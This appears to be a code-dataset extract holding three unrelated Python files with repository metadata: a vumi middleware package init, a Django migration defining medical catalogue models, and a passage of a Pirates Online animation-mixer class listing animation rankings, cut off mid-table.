| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
83bbfd6196fa400aec1f3e5669b97adeb0bc1655
| 447
|
py
|
Python
|
vumi/middleware/__init__.py
|
seidu626/vumi
|
62eae205a07029bc7ab382086715694548001876
|
[
"BSD-3-Clause"
] | 199
|
2015-01-05T09:04:24.000Z
|
2018-08-15T17:02:49.000Z
|
vumi/middleware/__init__.py
|
seidu626/vumi
|
62eae205a07029bc7ab382086715694548001876
|
[
"BSD-3-Clause"
] | 187
|
2015-01-06T15:22:38.000Z
|
2018-07-14T13:15:29.000Z
|
vumi/middleware/__init__.py
|
seidu626/vumi
|
62eae205a07029bc7ab382086715694548001876
|
[
"BSD-3-Clause"
] | 86
|
2015-01-31T02:47:08.000Z
|
2018-12-01T11:59:47.000Z
|
"""Middleware classes to process messages on their way in and out of workers.
"""
from vumi.middleware.base import (
BaseMiddleware, TransportMiddleware, ApplicationMiddleware,
MiddlewareStack, create_middlewares_from_config,
setup_middlewares_from_config)
__all__ = [
'BaseMiddleware', 'TransportMiddleware', 'ApplicationMiddleware',
'MiddlewareStack', 'create_middlewares_from_config',
'setup_middlewares_from_config']
| 34.384615
| 77
| 0.787472
| 43
| 447
| 7.813953
| 0.604651
| 0.178571
| 0.25
| 0.410714
| 0.72619
| 0.72619
| 0.72619
| 0.72619
| 0.72619
| 0.72619
| 0
| 0
| 0.131991
| 447
| 12
| 78
| 37.25
| 0.865979
| 0.165548
| 0
| 0
| 0
| 0
| 0.349727
| 0.218579
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.125
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8605b11f33709075233d85874fb5f4cb536b44c8
| 10,369
|
py
|
Python
|
modules/cnmb/migrations/0001_initial.py
|
smcuenca2/core-medical
|
76039ca68e158d25b0619c88c97c5d6f7e328a99
|
[
"Apache-2.0"
] | null | null | null |
modules/cnmb/migrations/0001_initial.py
|
smcuenca2/core-medical
|
76039ca68e158d25b0619c88c97c5d6f7e328a99
|
[
"Apache-2.0"
] | null | null | null |
modules/cnmb/migrations/0001_initial.py
|
smcuenca2/core-medical
|
76039ca68e158d25b0619c88c97c5d6f7e328a99
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 2.1.2 on 2018-11-15 03:37
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Concentration',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('amount', models.DecimalField(decimal_places=2, max_digits=5)),
('active', models.BooleanField(default=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Dosification',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('active', models.BooleanField(default=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='GroupATC',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('code', models.CharField(max_length=25, unique=True)),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('level', models.PositiveIntegerField(default=1)),
('active', models.BooleanField(default=True)),
('type', models.CharField(choices=[('ALFA', 'ALFA'), ('NUMERIC', 'NUMERICO')], default='ALFA', max_length=2)),
('parent', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='cnmb.GroupATC')),
('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Measure',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('code', models.CharField(max_length=25, unique=True)),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('active', models.BooleanField(default=True)),
('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Physic',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('code', models.CharField(max_length=25, unique=True)),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('pharmaceuticalform', models.CharField(max_length=250)),
('active', models.BooleanField(default=True)),
('concentration', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='physics', to='cnmb.Concentration')),
('group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='physics', to='cnmb.GroupATC')),
('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='PhysicLevel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('level', models.CharField(max_length=25)),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('active', models.BooleanField(default=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Range',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('active', models.BooleanField(default=True)),
('start', models.PositiveIntegerField(default=0)),
('end', models.PositiveIntegerField(default=1)),
('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Use',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('create_at', models.DateTimeField(auto_now_add=True)),
('update_at', models.DateTimeField()),
('name', models.CharField(max_length=250)),
('description', models.TextField(blank=True, max_length=500, null=True)),
('active', models.BooleanField(default=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='CareLevel',
fields=[
('physiclevel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.PhysicLevel')),
('physics', models.ManyToManyField(related_name='cares', to='cnmb.Physic')),
],
options={
'abstract': False,
},
bases=('cnmb.physiclevel',),
),
migrations.CreateModel(
name='PrescriptionLevel',
fields=[
('physiclevel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.PhysicLevel')),
('physic', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='prescriptions', to='cnmb.Physic')),
],
options={
'abstract': False,
},
bases=('cnmb.physiclevel',),
),
migrations.CreateModel(
name='RouteAdministration',
fields=[
('use_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='cnmb.Use')),
('physic', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='routes_administration', to='cnmb.Physic')),
],
options={
'abstract': False,
},
bases=('cnmb.use',),
),
migrations.AddField(
model_name='use',
name='user',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='physiclevel',
name='user',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='dosification',
name='range',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dosifications', to='cnmb.Range'),
),
migrations.AddField(
model_name='dosification',
name='user',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='concentration',
name='measure',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='concentrations', to='cnmb.Measure'),
),
migrations.AddField(
model_name='concentration',
name='user',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='dosification',
name='route',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dosifications', to='cnmb.RouteAdministration'),
),
]
| 48.227907
| 198
| 0.570547
| 988
| 10,369
| 5.840081
| 0.117409
| 0.034315
| 0.048527
| 0.076257
| 0.845061
| 0.823744
| 0.807106
| 0.807106
| 0.8
| 0.8
| 0
| 0.010845
| 0.288552
| 10,369
| 214
| 199
| 48.453271
| 0.771316
| 0.00434
| 0
| 0.7343
| 1
| 0
| 0.109281
| 0.00436
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.014493
| 0
| 0.033816
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f7a70d6841b336c437815543f57f005f19da07f1
| 38,675
|
py
|
Python
|
pirates/pirate/BipedAnimationMixer.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 81
|
2018-04-08T18:14:24.000Z
|
2022-01-11T07:22:15.000Z
|
pirates/pirate/BipedAnimationMixer.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 4
|
2018-09-13T20:41:22.000Z
|
2022-01-08T06:57:00.000Z
|
pirates/pirate/BipedAnimationMixer.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 26
|
2018-05-26T12:49:27.000Z
|
2021-09-11T09:11:59.000Z
|
from direct.directnotify import DirectNotifyGlobal
from pirates.movement.AnimationMixer import AnimationMixer
class BipedAnimationMixer(AnimationMixer):
notify = DirectNotifyGlobal.directNotify.newCategory('BipedAnimationMixer')
NA_INDEX = -1
IDLE_INDEX = 0
INPLACE_INDEX_0 = 1
INPLACE_INDEX_1 = 2
MOTION_INDEX = 3
INMOTION_INDEX_0 = 4
INMOTION_INDEX_1 = 5
INMOTION_INDEX_2 = 6
MOVIE_INDEX = 7
LOOP = {'NA': NA_INDEX,'IDLE': IDLE_INDEX,'MOTION': MOTION_INDEX}
ACTION = {'NA': NA_INDEX,'INPLACE_0': INPLACE_INDEX_0,'INPLACE_1': INPLACE_INDEX_1,'INMOTION_0': INMOTION_INDEX_0,'INMOTION_1': INMOTION_INDEX_1,'INMOTION_2': INMOTION_INDEX_2,'MOVIE': MOVIE_INDEX}
sectionNames = [
'legs', 'torso', 'head']
AnimRankings = {'idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_centered': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_handhip': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_handhip_from_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_flex': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_hit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_arm_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_butt_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_head_scratch_side': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'kraken_struggle_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'kraken_fight_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'map_head_into_look_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_head_outof_look_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_head_look_left_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'map_look_arm_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_arm_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_boot_left': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_boot_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'map_look_pant_right': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'idle_B_shiftWeight': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_sit': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'idle_sit_alt': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_anger': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_blow_kiss': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_celebrate': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_clap': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_coin_flip': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_coin_flip_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_crazy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_cut_throat': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_dance_jig': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_dance_jig_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'emote_duhhh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_embarrassed': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_face_smack': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_fear': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flex': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_flirt': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_hand_it_over': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_head_scratch': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_laugh': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayonet_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bayoney_want_fight': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_nervous': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_newyears': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_no': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sad': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sassy': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_scared': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_show_me_the_money': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_shrug': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_sincere_thanks': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_smile': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_snarl': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_talk_to_the_hand': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_thriller': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_wave': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_wink': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_yawn': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'emote_yes': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'look_idle_2': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'marketing_fight_jr': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'marketing_fight_js': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'walk': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'walk_back_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'walk_back_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'turn_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'turn_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'spin_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'spin_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'march': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'left_face': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'strafe_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'strafe_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'run_with_weapon': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'jump': (ACTION['INMOTION_0'], ACTION['INMOTION_0'], ACTION['INMOTION_0']),'fall_ground': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cower_in_place': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cower_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'cower_into': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'cower_outof': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_cower_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit_cower_into_sleep': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_sleep_into_cower': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'stock_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stock_sleep': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stock_sleep_to_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_into': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_outof': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'injured_healing_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'injured_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'injured_idle_shakehead': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'injured_fall': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'injured_standup': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'swim': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_left_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_right_diagonal': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back_diagonal_left': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'swim_back_diagonal_right': (LOOP['MOTION'], LOOP['MOTION'], LOOP['MOTION']),'wheel': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'semi_conscious_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'semi_conscious_standup': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'attention': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'teleport': (ACTION['MOVIE'], ACTION['MOVIE'], ACTION['MOVIE']),'coin_flip_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'coin_flip_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'coin_flip_old_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'drink_potion': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'stowaway_get_in_crate': (ACTION['INPLACE_1'], ACTION['INMOTION_2'], ACTION['INMOTION_2']),'search_low': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'search_med': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'searching': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chant_a_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'chant_b_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'jump_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'summon_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'axe_chop_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'axe_chop_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_wipe': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_wipe_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_wipe_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_wipe_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_talk01_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_talk01_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_talk01_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_talk01_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_talk02_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_talk02_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_talk02_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_talk02_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_talk03_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_write_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_write_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'bar_write_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'bar_write_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'barrel_hide_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'barrel_hide_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'barrel_hide_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'barrel_hide_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_hanginglegs_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_hanginglegs_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit_hanginglegs_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_hanginglegs_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit_sleep_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_sleep_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sit_sleep_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sit_sleep_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sleep_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sleep_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sleep_idle_loop': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sleep_idle': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sleep_sick_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sleep_sick_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sleep_sick_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sleep_sick_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'tatoo_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tatoo_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'tatoo_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tatoo_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'tatoo_receive_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tatoo_receive_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'tatoo_receive_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'tatoo_receive_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'stir_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stir_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'stir_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'stir_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sow_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sow_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'sow_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'sow_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'patient_work_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'doctor_work_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'doctor_work_into_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'doctor_work_look_idle': (LOOP['IDLE'], LOOP['IDLE'], LOOP['IDLE']),'doctor_work_outof_look': (ACTION['INPLACE_1'], ACTION['INPLACE_1'], ACTION['INPLACE_1']),'primp_idle': (LOOP['IDLE'], 